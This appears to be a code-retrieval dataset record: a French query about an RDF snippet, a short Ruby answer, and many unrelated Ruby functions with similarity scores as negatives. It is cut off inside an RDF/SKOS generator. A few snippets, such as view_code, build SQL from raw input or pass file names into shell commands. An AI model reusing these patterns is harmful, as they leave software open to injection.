"def dev_sq()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::DevSq::DevSqRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def log_qc_answers\n show do \n operations.each do |op|\n sample_id = op.input(\"PCR\").sample.id\n qc_answer = FieldValue.where(parent_id: sample_id, parent_class: \"Sample\", name: \"Has this strain passed QC?\").first\n note \"#{qc_answer.value}\"\n end\n end\n end",
"def king_richard_iii_quote; end",
"def q\n self\n end",
"def phq2?; end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def quarter\n puts 'Dispensed quarter'\n end",
"def affixe_qdd\n @affixe_qdd ||= begin\n '%{mod_dim}-M%{mod_id}-E%{etp_num}-U%{uid}-%{id}' % {\n mod_id: ic_module.abs_module.id,\n mod_dim: ic_module.abs_module.dim,\n etp_num: ic_etape.abs_etape.numero,\n uid: user.id,\n id: self.id\n }\n end\n end",
"def pdftk; end",
"def query_def; mrna.definition; end",
"def quo(arg0)\n end",
"def fdr_q_value\n @fdr_q_value ||= @fields[6].to_f\n end",
"def inline_code; end",
"def dv; end",
"def snippet_for_new_rd\n qd_id = select_qd_without_rd\n horloge = (Snippet::horloge nil, true) # ici pour le bon tab-stop\n type_reponse = select_type_reponse_rd\n while type_reponse.match(/\\[tab_stop\\]/)\n type_reponse.sub!(/\\[tab_stop\\]/, \"\\${#{Snippet::next_tab}:TEXTE}\")\n end\n sn = \"\"\n sn << \"RD##{Objet::next_id_of_type 'RD'}: \"\n sn << horloge\n sn << \"[QD##{qd_id}] \"\n sn << \"#{type_reponse}\"\n sn << \" $0\"\n return sn\n end",
"def show\n #setup_reporting_fields\n rqrcode\n end",
"def dollar_fr()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::DollarFr::DollarFrRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def document\n str = start_comment()\n str += arguments_comment()\n str += return_comment()\n str += end_comment()\n str += \"#{@code}\\n\"\n select_first_field(str)\n end",
"def marvin_quote; end",
"def generate_qrda_text(measure)\n measure_id = measure['hqmf_id']\n start_date = DateTime.new(reporting_period.to_i, 1, 1).utc\n end_date = start_date.years_since(1) - 1\n bundle = self.bundle\n if qrda_type == '3'\n c3c = Cypress::Cat3Calculator.new([measure_id], bundle)\n c3c.generate_cat3(start_date, end_date)\n elsif qrda_type == '1'\n patient_records = HealthDataStandards::CQM::PatientCache.where('value.measure_id' => measure_id, 'value.test_id' => nil).to_a.map(&:record)\n formatter = Cypress::QRDAExporter.new([measure], start_date, end_date)\n patient = patient_records.sample\n Cypress::DemographicsRandomizer.randomize(patient)\n formatter.export(patient)\n else\n raise 'Unknown QRDA type'\n end\n end",
"def select_qd_without_rd\n qds = hash_qds true\n if qds.empty?\n Snippet::alert \"Aucune QD n'est sans réponse dans ce fichier…\", \"Il faut définir une QD avant de définir sa RD.\"\n else\n items_string = qds.collect do |dqd|\n dqd[:qd].gsub!(/\\\"/,\"\\\\\\\"\"); \"\\\"#{dqd[:qd]}\\\"\"\n end.join(' ')\n args = [\n 'dropdown',\n '--title \"Choix de la QD\"',\n '--text \"Choisir la QD à laquelle doit répondre cette RD (seules les QD sans réponse sont listées)\"',\n '--exit-onchange', # -> se ferme après le choix\n '--button1 \"Choisir cette QD\"',\n '--button3 \"Renoncer\"',\n '--items ' + items_string,\n '2>/dev/null'\n ]\n cmd = \"#{cocoaD} #{args.join(' ')}\"\n u_reponse = %x{#{cmd}}\n btn_name, user_choix = u_reponse.split(\"\\n\")\n return nil if btn_name.to_i == 3\n qds[user_choix.to_i][:id]\n end\n end",
"def view_code(cheatsheet_db, language, look_for)\n p cheatsheet_db.execute(\"SELECT * FROM #{language} WHERE id='#{look_for}' OR type='#{look_for}' OR code='#{look_for}' OR comment='#{look_for}'\")\nend",
"def parse_sqft\n end",
"def parse_sqft\n end",
"def Q?(&block)\n SexpPath::SexpQueryBuilder.do(&block)\nend",
"def generate_valid_qrda_text\n Random.new.rand(1..4).times do\n measure = HealthDataStandards::CQM::Measure.find_by(_id: measure_ids.sample)\n Document.create(\n name: HOSPITALS.sample,\n expected_result: :accept,\n test_execution: self,\n measure_id: measure.hqmf_id,\n qrda: generate_qrda_text(measure)\n )\n end\n update_qrda_progress\n end",
"def source_question\n self.dataset.questions.with_code(self.code)\n end",
"def render_phdthesis(p)\n r = \"\"\n if p.authors.size > 0 then\n r += p.authors.map {|a| a.abbreviated_name}.joined_by_comma_and_and + \". \"\n end\n\n r += p.title.detex.titlecase + \". \"\n\n if field(p,\"Type\") then\n r += text_for_field(\"Type\", p).titlecase.detex + \", \"\n else\n r += \"PhD thesis, \"\n end\n\n r += text_for_field(\"School\", p, :postfix => \", \").detex\n r += text_for_field(\"Address\", p, :postfix => \", \").detex\n r += month_for_field(\"Month\", p, :postfix => \" \").detex\n r += text_for_field(\"Year\", p, :postfix => \". \").detex\n r += text_for_field(\"Note\", p, :postfix => \". \").detex\n return r\n\nend",
"def doc; end",
"def doc; end",
"def doc; end",
"def doc; end",
"def quads\n @analysis[:quads]\n end",
"def formation; end",
"def qe_modifiers\n end",
"def scf\n end",
"def as_you_like_it_quote; end",
"def generatedDoc() \n asciidocCode = self.generateColumnDef\n #asciidocCode = asciidocCode + self.generateStoredProcDef\n return asciidocCode\n end",
"def to_fdf; end",
"def qseq; @mrna.seq; end",
"def get_icdf(p)\n end",
"def quarter_wind; end",
"def get_dataset(quandl_dataset_code)\n Quandl::Dataset.get(quandl_dataset_code)\n end",
"def qlook\n file = Selection[0].linked_files.get[0].to_s\n if File.exists?(file)\n `qlmanage -p '#{file}'`\n else\n growl('No file available', 'No file available for #{Selection[0].cite_key.get}')\n end\nend",
"def name\n return 'Generic QAQC'\n end",
"def quartile_inc()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Quartile_Inc::QuartileIncRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def sdb\n StudentCalendarQuarter.find(\"0#{year.to_s}#{quarter_code_id.to_s}\")\n end",
"def generate_bq_query_string\n if self.is_array_based\n self.generate_array_query\n elsif self.is_numeric?\n self.generate_minmax_query\n else\n self.generate_non_array_query\n end\n end",
"def asDSLString\n s = StringIO.new\n s.puts \"field('#{@solrField}') do\"\n s.puts \" firstOnly\" if @first\n if @defaultValue\n s.puts \" default \" + \n PP.singleline_pp(@defaultValue + \"\\n\", s)\n end\n if @map\n s.print \" mapname \"\n PP.pp(@map.mapname, s)\n end\n if @noMapKeyDefault\n s.print(\" mapMissDefault \")\n PP.singleline_pp(@noMapKeyDefault, s)\n s.print(\"\\n \")\n end\n @marcfieldspecs.each do |spec|\n s.puts \" \" + spec.asDSLString\n end\n s.puts \"end\"\n return s.string\n end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def code; end",
"def explanation\n end",
"def aniade_taxones_query\n end",
"def eval_block(questions, section)\n b = RT.include_form_variables(self)\n b << RT.small_header(section)\n questions.each do |q|\n b << RT.eval_question(form.db_table, q,\n {:barcode => barcodes},\n {:barcode => faculty.barcodes},\n self)\n end\n b\n end",
"def query_def; @hit.mrna.definition; end",
"def fetch_term(qid)\n (t = Wikisnakker::Item.find(qid)) || raise('No such item')\n name = t.label('en')\n data = {\n id: name[/^(\\d+)/, 1],\n name: name,\n start_date: %w[P580 P571].map { |p| t.send(p).to_s }.reject(&:empty?).first,\n end_date: %w[P582 P576].map { |p| t.send(p).to_s }.reject(&:empty?).first,\n wikidata: qid,\n }\n puts data.values.to_csv\n\n if prev = t.P155 || t.P1365\n fetch_term(prev.value.id)\n end\nend",
"def custom_sql(q)\n query = q + ';' unless q =~ /;$/\n query = @db_connection.query(\"#{query}\")\n query.each { |x| print_line(\"#{x.join(',')}\") } unless query.empty?\n end",
"def faq\n\n end",
"def generation_code\n super.insert(-2, '#{\\'?\\' + args.last.to_query unless args.last.empty?}')\n end",
"def df\n DFHack\nend",
"def df\n DFHack\nend",
"def crossref_query\n CrossrefQuery.generate_query_from_text( ref_apa_6 )\n end",
"def daa\n end",
"def faq\n end",
"def faq\n end",
"def qrgen\n end",
"def viewHtmlDocContent (queries = {} )\r\n closeHtmlDocWithTitle (queries ) \r\n end",
"def create_likely_qda_data\n ActiveRecord::Base.connection.execute likely_qda_sql\n end",
"def skier_quest; end",
"def docstring; end",
"def docstring; end",
"def db_value_for_question(q)\n col = q[\"question\"].db_column\n RT.custom_query(\"SELECT #{col} FROM #{q[\"table\"]} WHERE path = ?\", [q[\"path\"]], true)[col]\n end",
"def explain\n \n end",
"def get_definition(cls, bld, fun)\r\n bld.add(\"/// <summary>\")\r\n bld.add(\"/// Reads one result using the specified filter parameters\")\r\n bld.add(\"/// </summary>\")\r\n bld.startFunction(\"public \" + get_function_signature(cls, bld, fun))\r\n\r\n get_body(cls, bld, fun)\r\n\r\n bld.endFunction\r\n end",
"def gherkin_query; end",
"def gherkin_query; end",
"def mgs_qualtrics_script\n\t\t$tracer.trace(__method__)\n\t\treturn ToolTag.new(div.id(\"qualtrics\").script, __method__, self)\n\tend",
"def help\r\n @quantities.each do |dim|\r\n\r\n dim[1].each do |quan|\r\n names=quan.quantity_name\r\n if quan.synonyms.length>0\r\n names += ', ' + quan.synonyms.join(', ')\r\n end\r\n\r\n puts names\r\n puts '---------------------------------------------------------------------------------------'\r\n puts '[' + dim[0].to_s + ']'\r\n puts quan.units_sorted\r\n puts ''\r\n end\r\n end\r\n end",
"def GenQFP(name)\n leftgap = rightgap = 0\n pins = GetCnt('pins')\n if pins < 2 then print \"GenQFP(#{name}): We need at least two pins!\\n\" end\n width = GetDim('width')\n rows = GetCnt('rows')\n if rows <= 0 then rows = pins / 4 end\n cols = [(pins - 2 * rows + 1) / 2, 0].max # pins at bottom, at top may be one less\n quad = pins > 2 * rows\n if (rows > 1) or (cols > 1)\n pitch = GetDim('pitch')\n if pitch < 1000 # 10 mil\n print \"GenQFP(#{name}): pitch is too small!\\n\"\n end\n else\n pitch = 0\n end\n padthickness = GetDim('padthickness')\n padlength = GetDim('padlength')\n cpw = GetDim('centerpadwidth') / 2.0\n cph = GetDim('centerpadheight') / 2.0\n if (cpw < MinSilkWidth) or (cph < MinSilkWidth) then cpw = cph = 0 end\n clearance = GetDim('clearance')\n if quad\n height = GetDim('height')\n if width < MinSilkWidth then width = height end\n if height < MinSilkWidth then height = width end\n if width < 1000 # 10 mil\n print \"GenQFP(#{name}): Width or height is too small!\\n\"\n end\n else\n height = 0\n end\n if [width, padthickness, padlength].min < 1000 # 10 mil\n print \"GenQFP(#{name}): Width, padthickness or padlength too small!\\n\"\n end\n silkwidth = GetDim('silkwidth')\n silkoffset = GetDim('silkoffset')\n ovalpads = %w[1 yes oval ovalpads true].include?(AskStr('ovalpads'))\n silkbox = GetStr('silkbox')\n unless %w[outer inner custom].include?(silkbox); silkbox = 'none' end\n p1silkmark = AskStr('p1silkmark') # we can draw: circle, damage or slash\n if %w[1 yes mark p1mark silkmark p1silkmark true].include?(p1silkmark)\n p1silkmark = 'slash'\n end\n p1coppermark = %w[1 yes true mark p1mark coppermark p1coppermark].include?(AskStr('p1coppermark'))\n x = -width / 2.0 # y is center of topmost pad\n if quad then y = -height / 2.0 else y = -(pitch / 2.0) * (rows - 1) end\n boxoffset = silkoffset + (silkwidth + padlength) / 2.0\n if silkbox == 'outer' \n bx = x - boxoffset\n by = y - boxoffset\n elsif silkbox == 'inner'\n bx = x + boxoffset\n if quad then\n by = y + boxoffset\n else\n if cph > 0\n by = -cph - silkoffset - silkwidth / 2.0\n else\n by = y\n end\n end \n elsif silkbox == 'custom'\n bx = -GetDim('silkboxwidth') / 2.0\n by = -GetDim('silkboxheight') / 2.0\n if quad\n if bx + boxoffset < x and by + boxoffset < y\n silkbox = 'outer'\n elsif bx - boxoffset > x and by - boxoffset > y\n silkbox = 'inner'\n else\n silkbox = 'none'\n end\n else\n if bx - boxoffset > x\n silkbox = 'inner'\n elsif by + boxoffset < y\n silkbox = 'outer'\n if bx + boxoffset > x\n leftgap = 2 * (y.abs + silkoffset) + padthickness + silkwidth\n dy = (pitch / 2.0) * (pins - rows - 1)\n rightgap = 2 * (dy + silkoffset) + padthickness + silkwidth\n if p1silkmark == 'damage'\n p1silkmark = 'slash'\n end\n end\n else\n silkbox = 'none'\n end\n end\n if silkbox == 'none'\n print \"GenQFP(#{name}): Custom silkbox touches pads -- not drawn!\\n\"\n end\n else\n bx = by = 0\n end\n if (-bx < MinSilkWidth) or (-by < MinSilkWidth)\n silkbox = 'none'; bx = by = 0\n end\n if (x + padlength / 2.0 + clearance > -cpw) or\n (quad and (y + padlength / 2.0 + clearance > -cph))\n print \"GenQFP(#{name}): Centerpad touches pads!\\n\"\n Process.exit\n end\n if (silkbox != 'none') and (cpw > 0)\n if (bx + silkoffset + silkwidth / 2.0 > -cpw + 1) or (by + silkoffset + silkwidth / 2.0 > -cph + 1) # eps 0.01mil\n print \"GenQFP(#{name}): Silkbox overlaps Center Pad!\\n\"\n end\n end\n tx = [x, bx].min\n if quad then dy = padlength else dy = padthickness end\n ty = [y - dy / 2.0, by - silkwidth / 2.0].min - (PCB_DefaultTextSize + RefdesToSilkOffset) * GetCnt('refdessize')\n r = GenElementHeader(tx, ty, 0) + \"(\\n\"\n if ovalpads\n padflags = p1flags = ''\n if p1coppermark\n p1flags = 'square'\n end\n else\n padflags = p1flags = 'square'\n if p1coppermark\n p1flags = ''\n end\n end\n x, y, dx, dy, xext, yext = 0 # make these values global to do-loop\n (1..pins).each do |n|\n if n == 1\n x = -width / 2.0\n y = -(pitch / 2.0) * (rows - 1)\n dx = 0\n dy = pitch\n xext = padlength / 2.0\n yext = padthickness / 2.0\n end\n if n == rows + 1\n x = -(pitch / 2.0) * (cols - 1)\n y = height / 2.0\n dx = pitch\n dy = 0\n xext = padthickness / 2.0\n yext = padlength / 2.0\n end\n if n == (rows + cols) + 1\n x = width / 2.0\n if quad then y = rows else y = pins - rows end \n y = (pitch / 2.0) * (y - 1)\n dx = 0\n dy = -pitch\n xext = padlength / 2.0\n yext = padthickness / 2.0\n end \n if n == (2 * rows + cols) + 1\n x = (pitch / 2.0) * (pins - 2 * rows - cols - 1)\n y = - height / 2.0\n dx = -pitch\n dy = 0\n xext = padthickness / 2.0\n yext = padlength / 2.0\n end\n r += GenPad(x - xext, y - yext, x + xext, y + yext, n, n, p1flags)\n p1flags = padflags\n x += dx\n y += dy\n end\n if cpw > 0\n r += GenPad(-cpw, -cph, cpw, cph, pins + 1, pins + 1, 'square')\n end\n unless silkbox == 'none'\n if leftgap > 0\n r += GenGapBox(bx, by, -bx, -by, leftgap, rightgap)\n elsif p1silkmark == 'damage'\n r += GenDamagedBox(bx, by, -bx, -by)\n else\n r += GenSilkBox(bx, by, -bx, -by)\n end\n if p1silkmark == 'circle'\n dx = -(bx + by) / 20.0\n if silkbox == 'inner'\n dy = 2 * dx + silkwidth # offset of circle to upper left corner\n else\n dy = -dx - silkwidth\n end \n r += GenSilkArc(bx + dy, by + dy, dx, dx, 0, 360)\n elsif p1silkmark == 'slash'\n r += GenSilkLine(bx + 0.05 * (bx + by), by + 0.05 * (bx + by), bx, by)\n end\n end\n r += GenAttributes() + \")\\n\"\n WriteElementToFile(r, name)\nend",
"def cp_d\n end",
"def chi_sq_dist()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::ChiSq_Dist::ChiSqDistRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def sms_example_for_question(qing)\n content = case qing.question.qtype.name\n when \"integer\" then \"3\"\n when \"decimal\" then \"12.5\"\n when \"select_one\" then \"b\"\n when \"select_multiple\" then \"ac\"\n when \"datetime\" then \"20120228 1430\"\n when \"date\" then \"20121118\"\n when \"time\" then \"0930\"\n else nil\n end\n\n (content ? t(\"common.example_abbr\") + \" \" + content_tag(:span, content, :class => \"sms_example\") : \"\").html_safe\n end",
"def question_type\n Exercise::Q_CODING\n end"
] | [
"0.7349451",
"0.6751167",
"0.6293761",
"0.6153517",
"0.59432757",
"0.58148974",
"0.5756038",
"0.5756038",
"0.5674801",
"0.5646959",
"0.56406647",
"0.55962294",
"0.55848527",
"0.5569242",
"0.5561918",
"0.5547994",
"0.54924875",
"0.54858667",
"0.54858667",
"0.5419462",
"0.5413186",
"0.54091907",
"0.54063326",
"0.53928536",
"0.5389093",
"0.5339732",
"0.5336841",
"0.5327197",
"0.5317363",
"0.52990407",
"0.52689403",
"0.52651995",
"0.5263844",
"0.52637094",
"0.5261673",
"0.5261673",
"0.52591085",
"0.52405554",
"0.5231345",
"0.52218306",
"0.5218101",
"0.5218101",
"0.5218101",
"0.5218101",
"0.5213382",
"0.5210284",
"0.5209721",
"0.52034175",
"0.5194846",
"0.5176879",
"0.5164395",
"0.51548994",
"0.51508087",
"0.5146272",
"0.5133085",
"0.5127939",
"0.51231617",
"0.51106566",
"0.5109118",
"0.51075363",
"0.5105458",
"0.5098365",
"0.5098365",
"0.5098365",
"0.5098365",
"0.5098365",
"0.5098365",
"0.5098365",
"0.50919724",
"0.50893915",
"0.508638",
"0.5081061",
"0.5080728",
"0.5067082",
"0.5059515",
"0.5052724",
"0.5051538",
"0.5051538",
"0.505097",
"0.504824",
"0.5043762",
"0.5043762",
"0.50427496",
"0.50426877",
"0.5039221",
"0.5036156",
"0.5032455",
"0.5032455",
"0.5027028",
"0.5019066",
"0.5008213",
"0.5005297",
"0.5005297",
"0.50003964",
"0.4989734",
"0.49838626",
"0.49837154",
"0.49828714",
"0.49768358",
"0.49704245"
] | 0.71592 | 1 |
=> Code Snippet pour une RDF | def snippet_for_new_rdf
snippet_for_new_rd
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def rdf\n @rdf_data.join(\"\\n\")\n end",
"def to_rdf()\n rdf = \"<rdf:Statement>\"\n rdf << write_subject()\n rdf << \" <rdf:predicate rdf:resource=\\\"#{@predicate}\\\"/>\"\n rdf << write_object()\n rdf << \"</rdf:Statement>\"\n return rdf \n end",
"def predicate_rdf(predicate, builder)\n builder.tag!(predicate.to_name_s) do\n # Get the predicate values\n self[predicate.to_s].each do |value|\n # If we have a (re)Source, we have to put in another description tag.\n # Otherwise, we will take just the string\n if(value.respond_to?(:uri))\n builder.rdf :Description, \"rdf:about\" => value.uri.to_s\n else\n builder.text!(value.to_s)\n end\n end # end predicate loop\n end # end tag!\n end",
"def identifier\n rdf_resource\n end",
"def to_rdfxml\n doc = Builder::XmlMarkup.new\n xmlns = {}\n i = 1\n @namespaces.each do | ns |\n next if ns == 'http://www.w3.org/1999/02/22-rdf-syntax-ns#'\n xmlns[\"xmlns:n#{i}\"] = ns\n i += 1\n end\n doc.rdf :Description,xmlns.merge({'rdf:about'=>uri}) do | rdf |\n self.instance_variables.each do | ivar |\n next unless ivar =~ /^@n[0-9]*_/\n # fix: must cast ivar as string before split!\n prefix, tag = ivar.to_s.split(\"_\", 2)\n attrs = {}\n curr_attr = self.instance_variable_get(\"#{ivar}\")\n prefix.sub!(/^@/,'')\n prefix = 'rdf' if prefix == 'n0'\n unless curr_attr.is_a?(Array)\n curr_attr = [curr_attr]\n end\n curr_attr.each do | val |\n if val.is_a?(RDFResource) # is value RDFResource an array? \n attrs['rdf:resource'] = val.uri # then it's an uri\n end\n if @modifiers[val.object_id] # do I have object literal modifiers (language or xsd:type)?\n if @modifiers[val.object_id][:language]\n attrs['xml:lang'] = @modifiers[val.object_id][:language]\n end\n if @modifiers[val.object_id][:type]\n attrs['rdf:datatype'] = @modifiers[val.object_id][:type]\n end \n end\n unless attrs['rdf:resource'] # if object is uri append tag with value\n rdf.tag!(\"#{prefix}:#{tag}\", attrs, val)\n else\n rdf.tag!(\"#{prefix}:#{tag}\", attrs)\n end\n end\n end\n end\n doc.target!\n end",
"def my_rdf\n @rdf_resource ||= begin\n src = RdfResource.new(uri)\n src.object_class = TaliaCore::ActiveSource\n src\n end\n end",
"def to_rdf\n self\n end",
"def _convertRDF() \n raise \"Unimplemented.\"\n\t#\tfrom rdflib import Graph\n#\t\tretval = Graph()\n#\t\t# this is a strange hack. If the publicID is not set, rdflib (or the underlying xml parser) makes a funny \n#\t\t#(and, as far as I could see, meaningless) error message...\n#\t\tretval.load(self.response,publicID=' ')\n#\t\treturn retval\n\tend",
"def publishing_format\n :rdf\n end",
"def fake_data_generator(query, output_document)\n ############\n # Removed this, as it is not necessary\n ############\n #uris_hash = Hash.new\n #uris_hash.default_proc = proc {|k| k}\n #File.foreach(query_document_location) {|line|\n # case line\n # when /^PREFIX (\\w+:) (<.+)>/i #if the line starts with PREFIX, find the prefix and its full URI and store them in a hash\n # uris_hash[$1] = $2\n # \n # when /^SELECT|CONSTRUCT|ASK|DESCRIBE/i #This line corresponds to the first line of the final query\n # query = line\n # when /(^\\n|})/\n # query << line\n # else \n # uris_hash.each { |k, v| \n # line[k] &&= v } #changes all occurances of a prefix with the full URI\n # line.match(/(<\\S+)/)\n # line[$1] &&= $1.concat(\">\")\n # line.gsub!(/\\ba\\b/, \"<http://www.w3.org/1999/02/22-rdf-syntax-ns#type>\") #changes \"a\" with the whole URI of rdf:type\n # query << line\n # end\n #}\n \n $stderr.puts query\n parsed = SPARQL.parse(query) # this is a nightmare method, that returns a wide variety of things! LOL!\n \n rdf_query=''\n if parsed.is_a?(RDF::Query) # we need to get the RDF:Query object out of the list of things returned from the parse\n rdf_query = parsed\n else\n parsed.each {|c| rdf_query = c if c.is_a?(RDF::Query) }\n end\n\n patterns = rdf_query.patterns # returns the triple patterns in the query\n\n variables = Hash.new # we're going to create a random string for every variable in the query\n patterns.each do |p| \n vars = p.unbound_variables # vars contains e.g. [:s, #<RDF::Query::Variable:0x6a400(?s)>] \n vars.each {|var| variables[var[0]] = RDF::URI(\"http://fakedata.org/\" + (0...10).map { ('a'..'z').to_a[rand(26)] }.join)}\n # now variables[:s] = <http://fakedata.org/adjdsihfrke>\n end\n\n File.open(output_document, \"w\") {|file|\n #now iterate over the patterns again, and bind them to their new value\n patterns.each do |triple| # we're going to create a random string for every variable\n if triple.subject.variable?\n var_symbol = triple.subject.to_sym # covert the variable into a symbol, since that is our hash key\n triple.subject = variables[var_symbol] # assign the random string for that symbol\n end\n\n if triple.predicate.variable?\n var_symbol = triple.predicate.to_sym # covert the variable into a symbol, since that is our hash key\n triple.predicate = variables[var_symbol] # assign the random string for that symbol\n end\n \n # special case for objects, since they can be literals\n if triple.object.variable?\n var_symbol = triple.object.to_sym # covert the variable into a symbol, since that is our hash key\n triple.object = variables[var_symbol] # assign the random string for that symbol\n file.write triple.to_rdf\n file.write \"\\n\"\n ########\n # What will you do with triples that have a literal as their value, rather than a <URI>?\n ########\n else # this ensures that it is written even if the object is not a variable\n file.write triple.to_rdf\n file.write \"\\n\"\n end\n end\n }\n\nend",
"def go(uri)\n\n foaf='http://xmlns.com/foaf/0.1/' \n contact=\"http://www.w3.org/2000/10/swap/pim/contact#\" \n air= 'http://www.megginson.com/exp/ns/airports#'\n\n ayf = SimpleScutter.new uri\n\n pagecount=0\n # a code block to output basic info about each RDF page encountered\n # \n page_summary = Proc.new do |crawler,page| \n puts \"RDFDOC: count='#{pagecount}': uri:#{crawler.uri} gave RDF graph #{page} \\\n\twith #{page.size} triples\\n\" \n pagecount=pagecount+1\n end\n\n # a code block to see if some page provides nearestAirport information: \n #\n # <contact:nearestAirport><wn:Airport air:icao=\"EGGD\" air:iata=\"BRS\"/>...\n #\n airports = Proc.new do |crawler,page| \n\n #page.reg_xmlns 'http://www.megginson.com/exp/ns/airports#', 'air'\n \n rs = page.ask Statement.new(nil, air+\"iata\", nil)\n rs.objects.each do |a|\n a.graph=page\n puts \"AIRPORT: #{a} got airport code in #{crawler.uri})\" if (a.to_s =~ /\\S/) \n end\t\t\t\t\t# the 'if' is fix for parser bug\n end\n\n\n # the mugshots and htmler blocks are related, and share some state:\n report=\"\"\n seenpic=Hash.new(0) \t# counter\n\n # basic image metadata harvesting\n #\n mugshots = Proc.new do |crawler,page|\n images=[]\n img = page.ask Statement.new(nil, foaf+'img', nil)\n img.objects.each {|a| images.push a.to_s }\n img = page.ask Statement.new(nil, foaf+'depiction',nil)\n img.objects.each {|a| images.push a.to_s }\n\t\t # todo: store this state locally instead of inside crawler\n images.each do |pic|\n next if (!pic =~ /\\S/) #bug in Liber RDF parser.\n if seenpic[pic]==0 ### how to do this as a Proc? fixme\n report += \"<img src='#{pic}' width='128' height='128' />\" \n report += \"<!-- linked at: #{crawler.uri} -->\\n\\n\"\n end\n seenpic[pic]=seenpic[pic]+1\n end\n end\n\n # a code block that writes an html page based on the crawler's .out property \n #\n htmler = Proc.new do |crawler,page|\n html = \"<html><head><title>all your foaf depictions...</title></head>\\n<body>\\n\"\n html += \"<h1>AllYourFoaf Image Index</h1>\\n\" \n html += \"<p><strong>stats:</strong>: left.size=#{crawler.left.size} \\\n\tseen.size=#{crawler.seen.size} seenpic.size=#{seenpic.size} current:#{crawler.uri} </p> \"\n html += \"<hr />\\n\\n\" + report\n html += \"</body></html>\\n\\n\"\n SimpleScutter.writefile(crawler.outfile,html)\n end\n\n # stats to be output at start of each loop \n #\n loopstats = Proc.new do |s|\n puts \"INIT: s.left.size=#{s.left.size} s.seen.size=#{s.seen.size} current: #{s.uri}\"\n end\n\n error_logger = Proc.new {|e| puts \"ERROR: #{e}\" }\n\n # register some handlers:\n ayf.pagehandlers.push page_summary, airports, mugshots, htmler\n ayf.inithandlers.push loopstats\n ayf.errorhandlers.push error_logger \n ayf.run # set crawler running!\nend",
"def write_rdf_head\n # $this->writeTriple($self,$this->uri('rdfs:comment'),'Generated by Triplify '.$this->version.' (http://Triplify.org)',true);\n write_triple(@base_uri, uri(\"rdfs:comment\"), 'Generated by Triplify '+'version'+ \" (http://Triplify.org) \", \"literal\" )\n unless configatron.license.blank?\n #$this->writeTriple($self,'http://creativecommons.org/ns#license',$this->config['license']);\n write_triple(@base_uri,'http://creativecommons.org/ns#license',configatron.license, \"literal\" )\n end\n end",
"def to_rdf\n rdf = \"<rdf:RDF xmlns:frm=\\\"#{Pho::Namespaces::FRAME}\\\" \"\n rdf << \" xmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\" \"\n rdf << \" xmlns:rdfs=\\\"http://www.w3.org/2000/01/rdf-schema#\\\" \"\n rdf << \" xmlns:bf=\\\"#{Pho::Namespaces::CONFIG}\\\" > \" \n \n rdf << \" <rdf:Description rdf:about=\\\"#{@uri}\\\"> \"\n \n rdf << \" <rdf:type rdf:resource=\\\"#{Pho::Namespaces::CONFIG}FieldPredicateMap\\\"/> \"\n rdf << \" <rdfs:label>#{@label}</rdfs:label> \"\n \n @datatype_properties.each do |property|\n rdf << \" <frm:mappedDatatypeProperty rdf:resource=\\\"#{property.uri}\\\"/> \"\n end\n \n rdf << \" </rdf:Description>\"\n \n @datatype_properties.each do |property|\n rdf << property.to_rdf(false)\n end\n \n rdf << \"</rdf:RDF>\"\n end",
"def show\n respond_to do |format|\n format.html {}\n format.json {}\n format.rdf { render rdf: @paper }\n end\n end",
"def to_rdf(ns=true)\n rdf = \"<rdf:Description \" \n if ns\n rdf << \" xmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\" xmlns:frm=\\\"#{Pho::Namespaces::FRAME}\\\" xmlns:bf=\\\"#{Pho::Namespaces::CONFIG}\\\" \" \n end \n rdf << \" rdf:about=\\\"#{@uri}\\\">\"\n rdf << \" <frm:name>#{@name}</frm:name>\" \n rdf << \" <bf:weight>#{@weight}</bf:weight>\" \n rdf << \"</rdf:Description>\"\n return rdf \n end",
"def vivo_uri(id)\n RDF::URI.parse \"#{vivo_prefix}/#{id}\"\nend",
"def generate_rdf_specific(b,ty)\n case ty\n when 'thesis'\n th = setup_thesis_info(to_marc)\n typ = th[:type].to_s\n Rails.logger.debug \"********es287_dev #{__FILE__} #{__LINE__} #{__method__} #{th.inspect}\"\n b.z(:type,typ)\n else\n end\n end",
"def generate_concept(concept_uri)\n\n @log.info(\"Generate concept #{concept_uri}\")\n\n concept_info = RDF::Query.execute(@graph) do\n pattern [concept_uri, :predicate, :object]\n end\n\n preflabels = []\n altlabels = []\n definition = \"\"\n has_broader = nil\n has_narrower = nil\n editorialNote = nil\n\n concept_info.each do |solution|\n\n case solution.predicate\n when \"http://www.w3.org/2004/02/skos/core#prefLabel\"\n if solution.object.language?\n preflabels << {\"lang\" => solution.object.language.to_sym, \"val\" => solution.object.to_s}\n else\n preflabels << {\"lang\" => nil, \"val\" => solution.object.to_s}\n end\n when \"http://www.w3.org/2004/02/skos/core#altLabel\"\n if solution.object.language?\n altlabels << {\"lang\" => solution.object.language.to_sym, \"val\" => solution.object.to_s}\n else\n altlabels << {\"lang\" => nil, \"val\" => solution.object.to_s}\n end\n when \"http://www.w3.org/2004/02/skos/core#definition\"\n definition = string_for(solution.object, @default_lang)\n when \"http://www.w3.org/2004/02/skos/core#editorialNote\"\n editorialNote = string_for(solution.object, @default_lang)\n when \"http://www.w3.org/2004/02/skos/core#broader\"\n has_broader = solution.object.value\n when \"http://www.w3.org/2004/02/skos/core#narrower\"\n has_narrower = solution.object.value\n end\n\n end\n\n\n @builder.div(:id => concept_uri.fragment, :class => \"concept\") { |html|\n # preflabel in defaultlang\n html.h2(preflabels.detect {|label| label[\"lang\"] == @default_lang}[\"val\"])\n html.dl {\n html.dt(\"Definition\", :class => \"definition\")\n html.dd(definition, :class => \"definition\")\n\n if altlabels.size > 0\n html.dt(\"Alternative labels\", {:class => \"altlabels\"})\n\n altlabels.each do |label|\n\n if label[\"lang\"]\n\n if label[\"lang\"] != @default_lang\n html.dd(label[\"val\"] + \"(#{label['lang']})\", :lang => label[\"lang\"], :class => \"altlabel\")\n else\n 